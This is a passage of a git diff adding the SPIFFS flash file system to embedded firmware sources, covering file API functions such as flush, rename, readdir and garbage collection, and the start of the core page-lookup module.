SPIFFS_UNLOCK(fs); + + return res; +} + +// Checks if there are any cached writes for the object id associated with +// given filehandle. If so, these writes are flushed. +#if SPIFFS_CACHE == 1 +static s32_t spiffs_fflush_cache(spiffs *fs, spiffs_file fh) { + (void)fs; + (void)fh; + s32_t res = SPIFFS_OK; +#if !SPIFFS_READ_ONLY && SPIFFS_CACHE_WR + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES(fs, res); + + if ((fd->flags & SPIFFS_O_DIRECT) == 0) { + if (fd->cache_page == 0) { + // see if object id is associated with cache already + fd->cache_page = spiffs_cache_page_get_by_fd(fs, fd); + } + if (fd->cache_page) { + SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page "_SPIPRIi" for fd "_SPIPRIfd":"_SPIPRIid", flush, offs:"_SPIPRIi" size:"_SPIPRIi"\n", + fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + res = spiffs_hydro_write(fs, fd, + spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix), + fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + if (res < SPIFFS_OK) { + fs->err_code = res; + } + spiffs_cache_fd_release(fs, fd->cache_page); + } + } +#endif + + return res; +} +#endif + +s32_t SPIFFS_fflush(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + (void)fh; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + s32_t res = SPIFFS_OK; +#if !SPIFFS_READ_ONLY && SPIFFS_CACHE_WR + SPIFFS_LOCK(fs); + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fflush_cache(fs, fh); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + SPIFFS_UNLOCK(fs); +#endif + + return res; +} + +s32_t SPIFFS_close(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + + s32_t res = SPIFFS_OK; + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); +#if SPIFFS_CACHE + res = spiffs_fflush_cache(fs, fh); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#endif + res = spiffs_fd_return(fs, fh); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + + return res; +} + +s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path) { + SPIFFS_API_DBG("%s %s %s\n", __func__, old_path, new_path); +#if SPIFFS_READ_ONLY + (void)fs; + (void)old_path; + (void)new_path; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + if (strlen(new_path) > SPIFFS_OBJ_NAME_LEN - 1 || + strlen(old_path) > SPIFFS_OBJ_NAME_LEN - 1) { + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG); + } + SPIFFS_LOCK(fs); + + spiffs_page_ix pix_old, pix_dummy; + spiffs_fd *fd; + + s32_t res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)old_path, &pix_old); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)new_path, &pix_dummy); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + } else if (res == SPIFFS_OK) { + res = SPIFFS_ERR_CONFLICTING_NAME; + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_fd_find_new(fs, &fd, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_open_by_page(fs, pix_old, fd, 0, 0); + if (res != SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, (const u8_t *)new_path, + 0, 0, &pix_dummy); +#if SPIFFS_TEMPORAL_FD_CACHE + if (res == SPIFFS_OK) { + spiffs_fd_temporal_cache_rehash(fs, old_path, new_path); + } +#endif + + spiffs_fd_return(fs, fd->file_nbr); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + + return res; +#endif // SPIFFS_READ_ONLY +} + +#if SPIFFS_OBJ_META_LEN +s32_t SPIFFS_update_meta(spiffs *fs, const char *name, const void *meta) { +#if SPIFFS_READ_ONLY + (void)fs; + (void)name; + (void)meta; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_page_ix pix, pix_dummy; + spiffs_fd *fd; + + s32_t res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)name, &pix); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_fd_find_new(fs, &fd, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_open_by_page(fs, pix, fd, 0, 0); + if (res != SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, 0, meta, + 0, &pix_dummy); + + spiffs_fd_return(fs, fd->file_nbr); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + + return res; +#endif // SPIFFS_READ_ONLY +} + +s32_t SPIFFS_fupdate_meta(spiffs *fs, spiffs_file fh, const void *meta) { +#if SPIFFS_READ_ONLY + (void)fs; + (void)fh; + (void)meta; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + s32_t res; + spiffs_fd *fd; + spiffs_page_ix pix_dummy; + + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if ((fd->flags & SPIFFS_O_WRONLY) == 0) { + res = SPIFFS_ERR_NOT_WRITABLE; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, fd->objix_hdr_pix, 0, 0, meta, + 0, &pix_dummy); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + + return res; +#endif // SPIFFS_READ_ONLY +} +#endif // SPIFFS_OBJ_META_LEN + +spiffs_DIR *SPIFFS_opendir(spiffs *fs, const char *name, spiffs_DIR *d) { + SPIFFS_API_DBG("%s\n", __func__); + (void)name; + + if (!SPIFFS_CHECK_CFG((fs))) { + (fs)->err_code = SPIFFS_ERR_NOT_CONFIGURED; + return 0; + } + + if (!SPIFFS_CHECK_MOUNT(fs)) { + fs->err_code = SPIFFS_ERR_NOT_MOUNTED; + return 0; + } + + d->fs = fs; + d->block = 0; + d->entry = 0; + return d; +} + +static s32_t spiffs_read_dir_v( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_block_ix bix, + int ix_entry, + const void *user_const_p, + void *user_var_p) { + (void)user_const_p; + s32_t res; + spiffs_page_object_ix_header objix_hdr; + if (obj_id == SPIFFS_OBJ_ID_FREE || obj_id == SPIFFS_OBJ_ID_DELETED || + (obj_id & SPIFFS_OBJ_ID_IX_FLAG) == 0) { + return SPIFFS_VIS_COUNTINUE; + } + + spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr); + if (res != SPIFFS_OK) return res; + if ((obj_id & SPIFFS_OBJ_ID_IX_FLAG) && + objix_hdr.p_hdr.span_ix == 0 && + (objix_hdr.p_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) { + struct spiffs_dirent *e = (struct spiffs_dirent *)user_var_p; + e->obj_id = obj_id; + strcpy((char *)e->name, (char *)objix_hdr.name); + e->type = objix_hdr.type; + e->size = objix_hdr.size == SPIFFS_UNDEFINED_LEN ? 0 : objix_hdr.size; + e->pix = pix; +#if SPIFFS_OBJ_META_LEN + _SPIFFS_MEMCPY(e->meta, objix_hdr.meta, SPIFFS_OBJ_META_LEN); +#endif + return SPIFFS_OK; + } + return SPIFFS_VIS_COUNTINUE; +} + +struct spiffs_dirent *SPIFFS_readdir(spiffs_DIR *d, struct spiffs_dirent *e) { + SPIFFS_API_DBG("%s\n", __func__); + if (!SPIFFS_CHECK_MOUNT(d->fs)) { + d->fs->err_code = SPIFFS_ERR_NOT_MOUNTED; + return 0; + } + SPIFFS_LOCK(d->fs); + + spiffs_block_ix bix; + int entry; + s32_t res; + struct spiffs_dirent *ret = 0; + + res = spiffs_obj_lu_find_entry_visitor(d->fs, + d->block, + d->entry, + SPIFFS_VIS_NO_WRAP, + 0, + spiffs_read_dir_v, + 0, + e, + &bix, + &entry); + if (res == SPIFFS_OK) { + d->block = bix; + d->entry = entry + 1; + e->obj_id &= ~SPIFFS_OBJ_ID_IX_FLAG; + ret = e; + } else { + d->fs->err_code = res; + } + SPIFFS_UNLOCK(d->fs); + return ret; +} + +s32_t SPIFFS_closedir(spiffs_DIR *d) { + SPIFFS_API_DBG("%s\n", __func__); + SPIFFS_API_CHECK_CFG(d->fs); + SPIFFS_API_CHECK_MOUNT(d->fs); + return 0; +} + +s32_t SPIFFS_check(spiffs *fs) { + SPIFFS_API_DBG("%s\n", __func__); +#if SPIFFS_READ_ONLY + (void)fs; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + res = spiffs_lookup_consistency_check(fs, 0); + + res = spiffs_object_index_consistency_check(fs); + + res = spiffs_page_consistency_check(fs); + + res = spiffs_obj_lu_scan(fs); + + SPIFFS_UNLOCK(fs); + return res; +#endif // SPIFFS_READ_ONLY +} + +s32_t SPIFFS_info(spiffs *fs, u32_t *total, u32_t *used) { + SPIFFS_API_DBG("%s\n", __func__); + s32_t res = SPIFFS_OK; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + u32_t pages_per_block = SPIFFS_PAGES_PER_BLOCK(fs); + u32_t blocks = fs->block_count; + u32_t obj_lu_pages = SPIFFS_OBJ_LOOKUP_PAGES(fs); + u32_t data_page_size = SPIFFS_DATA_PAGE_SIZE(fs); + u32_t total_data_pages = (blocks - 2) * (pages_per_block - obj_lu_pages) + 1; // -2 for spare blocks, +1 for emergency page + + if (total) { + *total = total_data_pages * data_page_size; + } + + if (used) { + *used = fs->stats_p_allocated * data_page_size; + } + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_gc_quick(spiffs *fs, u16_t max_free_pages) { + SPIFFS_API_DBG("%s "_SPIPRIi "\n", __func__, max_free_pages); +#if SPIFFS_READ_ONLY + (void)fs; + (void)max_free_pages; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + res = spiffs_gc_quick(fs, max_free_pages); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + SPIFFS_UNLOCK(fs); + return 0; +#endif // SPIFFS_READ_ONLY +} + + +s32_t SPIFFS_gc(spiffs *fs, u32_t size) { + SPIFFS_API_DBG("%s "_SPIPRIi "\n", __func__, size); +#if SPIFFS_READ_ONLY + (void)fs; + (void)size; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + res = spiffs_gc_check(fs, size); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + SPIFFS_UNLOCK(fs); + return 0; +#endif // SPIFFS_READ_ONLY +} + +s32_t SPIFFS_eof(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + +#if SPIFFS_CACHE_WR + res = spiffs_fflush_cache(fs, fh); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#endif + + res = (fd->fdoffset >= (fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size)); + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_tell(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + +#if SPIFFS_CACHE_WR + res = spiffs_fflush_cache(fs, fh); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#endif + + res = fd->fdoffset; + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_set_file_callback_func(spiffs *fs, spiffs_file_callback cb_func) { + SPIFFS_API_DBG("%s\n", __func__); + SPIFFS_LOCK(fs); + fs->file_cb_f = cb_func; + SPIFFS_UNLOCK(fs); + return 0; +} + +#if SPIFFS_IX_MAP + +s32_t SPIFFS_ix_map(spiffs *fs, spiffs_file fh, spiffs_ix_map *map, + u32_t offset, u32_t len, spiffs_page_ix *map_buf) { + SPIFFS_API_DBG("%s "_SPIPRIfd " "_SPIPRIi " "_SPIPRIi "\n", __func__, fh, offset, len); + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if (fd->ix_map) { + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_MAPPED); + } + + map->map_buf = map_buf; + map->offset = offset; + // nb: spix range includes last + map->start_spix = offset / SPIFFS_DATA_PAGE_SIZE(fs); + map->end_spix = (offset + len) / SPIFFS_DATA_PAGE_SIZE(fs); + memset(map_buf, 0, sizeof(spiffs_page_ix) * (map->end_spix - map->start_spix + 1)); + fd->ix_map = map; + + // scan for pixes + res = spiffs_populate_ix_map(fs, fd, 0, map->end_spix - map->start_spix + 1); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + s32_t res; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if (fd->ix_map == 0) { + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_UNMAPPED); + } + + fd->ix_map = 0; + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset) { + SPIFFS_API_DBG("%s "_SPIPRIfd " "_SPIPRIi "\n", __func__, fh, offset); + s32_t res = SPIFFS_OK; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + fh = SPIFFS_FH_UNOFFS(fs, fh); + + spiffs_fd *fd; + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if (fd->ix_map == 0) { + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_UNMAPPED); + } + + spiffs_ix_map *map = fd->ix_map; + + s32_t spix_diff = offset / SPIFFS_DATA_PAGE_SIZE(fs) - map->start_spix; + map->offset = offset; + + // move existing pixes if within map offs + if (spix_diff != 0) { + // move vector + int i; + const s32_t vec_len = map->end_spix - map->start_spix + 1; // spix range includes last + map->start_spix += spix_diff; + map->end_spix += spix_diff; + if (spix_diff >= vec_len) { + // moving beyond range + memset(&map->map_buf, 0, vec_len * sizeof(spiffs_page_ix)); + // populate_ix_map is inclusive + res = spiffs_populate_ix_map(fs, fd, 0, vec_len - 1); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } else if (spix_diff > 0) { + // diff positive + for (i = 0; i < vec_len - spix_diff; i++) { + map->map_buf[i] = map->map_buf[i + spix_diff]; + } + // memset is non-inclusive + memset(&map->map_buf[vec_len - spix_diff], 0, spix_diff * sizeof(spiffs_page_ix)); + // populate_ix_map is inclusive + res = spiffs_populate_ix_map(fs, fd, vec_len - spix_diff, vec_len - 1); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } else { + // diff negative + for (i = vec_len - 1; i >= -spix_diff; i--) { + map->map_buf[i] = map->map_buf[i + spix_diff]; + } + // memset is non-inclusive + memset(&map->map_buf[0], 0, -spix_diff * sizeof(spiffs_page_ix)); + // populate_ix_map is inclusive + res = spiffs_populate_ix_map(fs, fd, 0, -spix_diff - 1); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + } + + SPIFFS_UNLOCK(fs); + return res; +} + +s32_t SPIFFS_bytes_to_ix_map_entries(spiffs *fs, u32_t bytes) { + SPIFFS_API_CHECK_CFG(fs); + // always add one extra page, the offset might change to the middle of a page + return (bytes + SPIFFS_DATA_PAGE_SIZE(fs)) / SPIFFS_DATA_PAGE_SIZE(fs); +} + +s32_t SPIFFS_ix_map_entries_to_bytes(spiffs *fs, u32_t map_page_ix_entries) { + SPIFFS_API_CHECK_CFG(fs); + return map_page_ix_entries * SPIFFS_DATA_PAGE_SIZE(fs); +} + +#endif // SPIFFS_IX_MAP + +#if SPIFFS_TEST_VISUALISATION +s32_t SPIFFS_vis(spiffs *fs) { + s32_t res = SPIFFS_OK; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + spiffs_block_ix bix = 0; + + while (bix < fs->block_count) { + // check each object lookup page + int obj_lookup_page = 0; + int cur_entry = 0; + + while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each entry + while (res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs))) { + spiffs_obj_id obj_id = obj_lu_buf[cur_entry - entry_offset]; + if (cur_entry == 0) { + spiffs_printf(_SPIPRIbl" ", bix); + } else if ((cur_entry & 0x3f) == 0) { + spiffs_printf(" "); + } + if (obj_id == SPIFFS_OBJ_ID_FREE) { + spiffs_printf(SPIFFS_TEST_VIS_FREE_STR); + } else if (obj_id == SPIFFS_OBJ_ID_DELETED) { + spiffs_printf(SPIFFS_TEST_VIS_DELE_STR); + } else if (obj_id & SPIFFS_OBJ_ID_IX_FLAG) { + spiffs_printf(SPIFFS_TEST_VIS_INDX_STR(obj_id)); + } else { + spiffs_printf(SPIFFS_TEST_VIS_DATA_STR(obj_id)); + } + cur_entry++; + if ((cur_entry & 0x3f) == 0) { + spiffs_printf("\n"); + } + } // per entry + obj_lookup_page++; + } // per object lookup page + + spiffs_obj_id erase_count; + res = _spiffs_rd(fs, SPIFFS_OP_C_READ | SPIFFS_OP_T_OBJ_LU2, 0, + SPIFFS_ERASE_COUNT_PADDR(fs, bix), + sizeof(spiffs_obj_id), (u8_t *)&erase_count); + SPIFFS_CHECK_RES(res); + + if (erase_count != (spiffs_obj_id) - 1) { + spiffs_printf("\tera_cnt: "_SPIPRIi"\n", erase_count); + } else { + spiffs_printf("\tera_cnt: N/A\n"); + } + + bix++; + } // per block + + spiffs_printf("era_cnt_max: "_SPIPRIi"\n", fs->max_erase_count); + spiffs_printf("last_errno: "_SPIPRIi"\n", fs->err_code); + spiffs_printf("blocks: "_SPIPRIi"\n", fs->block_count); + spiffs_printf("free_blocks: "_SPIPRIi"\n", fs->free_blocks); + spiffs_printf("page_alloc: "_SPIPRIi"\n", fs->stats_p_allocated); + spiffs_printf("page_delet: "_SPIPRIi"\n", fs->stats_p_deleted); + SPIFFS_UNLOCK(fs); + u32_t total, used; + SPIFFS_info(fs, &total, &used); + spiffs_printf("used: "_SPIPRIi" of "_SPIPRIi"\n", used, total); + return res; +} +#endif diff --git a/armsrc/spiffs_nucleus.c b/armsrc/spiffs_nucleus.c new file mode 100644 index 000000000..74c5ade09 --- /dev/null +++ b/armsrc/spiffs_nucleus.c @@ -0,0 +1,2365 @@ +#include "spiffs.h" +#include "spiffs_nucleus.h" +#include "printf.h" + +static s32_t spiffs_page_data_check(spiffs *fs, spiffs_fd *fd, spiffs_page_ix pix, spiffs_span_ix spix) { + s32_t res = SPIFFS_OK; + if (pix == (spiffs_page_ix) - 1) { + // referring to page 0xffff...., bad object index + return SPIFFS_ERR_INDEX_REF_FREE; + } + if (pix % SPIFFS_PAGES_PER_BLOCK(fs) < SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + // referring to an object lookup page, bad object index + return SPIFFS_ERR_INDEX_REF_LU; + } + if (pix > SPIFFS_MAX_PAGES(fs)) { + // referring to a bad page + return SPIFFS_ERR_INDEX_REF_INVALID; + } +#if SPIFFS_PAGE_CHECK + spiffs_page_header ph; + res = _spiffs_rd( + fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_READ, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, pix), + sizeof(spiffs_page_header), + (u8_t *)&ph); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_DATA(ph, fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, spix); +#endif + return res; +} + +#if !SPIFFS_READ_ONLY +static s32_t spiffs_page_index_check(spiffs *fs, spiffs_fd *fd, spiffs_page_ix pix, spiffs_span_ix spix) { + s32_t res = SPIFFS_OK; + if (pix == (spiffs_page_ix) - 1) { + // referring to page 0xffff...., bad object index + return SPIFFS_ERR_INDEX_FREE; + } + if (pix % SPIFFS_PAGES_PER_BLOCK(fs) < SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + // referring to an object lookup page, bad object index + return SPIFFS_ERR_INDEX_LU; + } + if (pix > SPIFFS_MAX_PAGES(fs)) { + // referring to a bad page + return SPIFFS_ERR_INDEX_INVALID; + } +#if SPIFFS_PAGE_CHECK + spiffs_page_header ph; + res = _spiffs_rd( + fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, pix), + sizeof(spiffs_page_header), + (u8_t *)&ph); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(ph, fd->obj_id, spix); +#endif + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_CACHE + +s32_t spiffs_phys_rd( + spiffs *fs, + u32_t addr, + u32_t len, + u8_t *dst) { + return SPIFFS_HAL_READ(fs, addr, len, dst); +} + +s32_t spiffs_phys_wr( + spiffs *fs, + u32_t addr, + u32_t len, + u8_t *src) { + return SPIFFS_HAL_WRITE(fs, addr, len, src); +} + +#endif + +#if !SPIFFS_READ_ONLY +s32_t spiffs_phys_cpy( + spiffs *fs, + spiffs_file fh, + u32_t dst, + u32_t src, + u32_t len) { + (void)fh; + s32_t res; + u8_t b[SPIFFS_COPY_BUFFER_STACK]; + while (len > 0) { + u32_t chunk_size = MIN(SPIFFS_COPY_BUFFER_STACK, len); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_MOVS, fh, src, chunk_size, b); + SPIFFS_CHECK_RES(res); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_MOVD, fh, dst, chunk_size, b); + SPIFFS_CHECK_RES(res); + len -= chunk_size; + src += chunk_size; + dst += chunk_size; + } + return SPIFFS_OK; +} +#endif // !SPIFFS_READ_ONLY + +// Find object lookup entry containing given id with visitor. +// Iterate over object lookup pages in each block until a given object id entry is found. +// When found, the visitor function is called with block index, entry index and user data. +// If visitor returns SPIFFS_VIS_CONTINUE, the search goes on. Otherwise, the search will be +// ended and visitor's return code is returned to caller. +// If no visitor is given (0) the search returns on first entry with matching object id. +// If no match is found in all look up, SPIFFS_VIS_END is returned. +// @param fs the file system +// @param starting_block the starting block to start search in +// @param starting_lu_entry the look up index entry to start search in +// @param flags ored combination of SPIFFS_VIS_CHECK_ID, SPIFFS_VIS_CHECK_PH, +// SPIFFS_VIS_NO_WRAP +// @param obj_id argument object id +// @param v visitor callback function +// @param user_const_p any const pointer, passed to the callback visitor function +// @param user_var_p any pointer, passed to the callback visitor function +// @param block_ix reported block index where match was found +// @param lu_entry reported look up index where match was found +s32_t spiffs_obj_lu_find_entry_visitor( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + u8_t flags, + spiffs_obj_id obj_id, + spiffs_visitor_f v, + const void *user_const_p, + void *user_var_p, + spiffs_block_ix *block_ix, + int *lu_entry) { + s32_t res = SPIFFS_OK; + s32_t entry_count = fs->block_count * SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs); + spiffs_block_ix cur_block = starting_block; + u32_t cur_block_addr = starting_block * SPIFFS_CFG_LOG_BLOCK_SZ(fs); + + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + int cur_entry = starting_lu_entry; + int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + + // wrap initial + if (cur_entry > (int)SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs) - 1) { + cur_entry = 0; + cur_block++; + cur_block_addr = cur_block * SPIFFS_CFG_LOG_BLOCK_SZ(fs); + if (cur_block >= fs->block_count) { + if (flags & SPIFFS_VIS_NO_WRAP) { + return SPIFFS_VIS_END; + } else { + // block wrap + cur_block = 0; + cur_block_addr = 0; + } + } + } + + // check each block + while (res == SPIFFS_OK && entry_count > 0) { + int obj_lookup_page = cur_entry / entries_per_page; + // check each object lookup page + while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, cur_block_addr + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each entry + while (res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && // for non-last obj lookup pages + cur_entry < (int)SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs)) { // for last obj lookup page + if ((flags & SPIFFS_VIS_CHECK_ID) == 0 || obj_lu_buf[cur_entry - entry_offset] == obj_id) { + if (block_ix) *block_ix = cur_block; + if (lu_entry) *lu_entry = cur_entry; + if (v) { + res = v( + fs, + (flags & SPIFFS_VIS_CHECK_PH) ? obj_id : obj_lu_buf[cur_entry - entry_offset], + cur_block, + cur_entry, + user_const_p, + user_var_p); + if (res == SPIFFS_VIS_COUNTINUE || res == SPIFFS_VIS_COUNTINUE_RELOAD) { + if (res == SPIFFS_VIS_COUNTINUE_RELOAD) { + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, cur_block_addr + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + } + res = SPIFFS_OK; + cur_entry++; + entry_count--; + continue; + } else { + return res; + } + } else { + return SPIFFS_OK; + } + } + entry_count--; + cur_entry++; + } // per entry + obj_lookup_page++; + } // per object lookup page + cur_entry = 0; + cur_block++; + cur_block_addr += 